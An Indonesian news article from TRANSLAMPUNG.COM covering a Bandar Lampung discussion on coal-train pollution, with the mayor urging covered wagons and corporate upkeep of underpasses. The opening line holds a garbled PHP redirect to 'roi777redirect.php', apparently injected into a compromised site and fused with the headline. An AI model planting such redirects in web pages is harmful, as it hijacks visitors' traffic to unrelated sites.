header( 'Location: /roi777redirect.php true, 303 );header( 'Location: roi777redirect.php', true, 303 ); Herman HN: Atap Babaranjang harus di Tutup -
Herman HN: Atap Babaranjang harus di Tutup

TRANSLAMPUNG.COM, BANDARLAMPUNG-Anggota DPD RI asal Lampung Andi Surya memimpin diskusi sehari membahas terkait babaranjang di Kantor Perwakilan DPD RI, Jalan Jendral Sudirman, Rawalaut, Bandarlampung, Jumat (17/2).

Hadir dalam acara tersebut Walikota Bandarlampung Herman HN, Ketua DPRD Bandarlampung Wiyadi, serta perwakilan PT KAI Divisi Regional (Divre) IV Tanjungkarang Asdo, dan PT Bukit Asam Andi.

Dalam sambutannya mengatakan, bahwa persoalan babaranjang ini cukup penting dibahas, Sebab, dalam operasionalnya cukup mengganggu Selain menimbulkan kemacetan keberadaan babaranjang ini juga menimbulkan polusi.

Tak hanya itu, dia menyinggung keberadaan tembok yang dibangun PT KAI yang keberadaannya dinilai mengganggu aktivitas masyarakat. Andi mengatakan banyak warga yang keberatan dengan dibangunnya tembok. Andi mengatakan bahwa mereka juga mengadukan kepada dirinya dan DPD agar persoalan itu lekas selesai.

Lalu perwakilan PT KAI, Asdo menjelaskan, bahwa daerah operasi PT KAI Daerah operasional Tanjungkarang sepanjang 325 km. Wilayah itu dimulai dari Pelabuhan Panjang-Tarahan sampai dengan Prabumulih.

Dan dia mengatakan untuk Sumatera Selatan mayoritas atau sekitar 70 persen medannya melewati wilayah hutan. Namun saat menjelaskan paparannya, seorang warga menyela dan meminta pemimpin diskusi Andi Surya kembali ke pokok persoalan.

warga meminta Andi Surya menegaskan kepada pihak PT KAI Divre IV Tanjungkarang untuk fokus pada tema diskusi, Andi Surya kemudian meminta pemaparan dipercepat.

Asdo kemudian melanjutkan pemaparan dalam tempo cukup singkat, dia memaparkan core bisnis untuk melayani distribusi batubara yang dilakukan PT Bukit Asam (PTBA) dan kemudian angkutan penumpang.

Herman HN sepakat jika setiap gerbong kereta api batu bara rangkaian panjang (Babaranjang) agar ditutup, supaya polusinya tidak membahayakan masyarakat.

“Bila dilihat dengan kasat mata memang tidak begitu tampak. Namun, debu batu bara pasti mempunyai pengaruh negatif buat kesehatan masyarakat,” kata Walikota.

Wali Kota juga menginginkan agar PT KA dan PT Bukit Asam ikut memelihara underpass yang dibuat Pemkot Bandarlampung, dia mengatakan agar PT KAI dan PT Bukit Asam ikut memelihara jalan di bawah (underpass).

“Kami sudah bangun juga fly over di beberapa tempat itu kan mengefisienkan waktu tempuh kendaraan, kami sudah bantu itu tapi apa yang dikontribusikan PT KAI dan PT Bukit Asam, masih tidak sesuai,” katanya dalam diskusi sehari soal babaranjang.

Herman HN juga mengatakan, bahwa batu bara yang diangkut melewati Bandarlampung juga bukan untu keperluan listrik PLN di Lampung.

“Mungkin ada batu bara sebagai bahan bakar untuk bahan bakar pembangkit listrik di Lampung, tapi masih banyak yang digunakan untuk daerah lain,” ujar Herman.(hkw)

News Reporter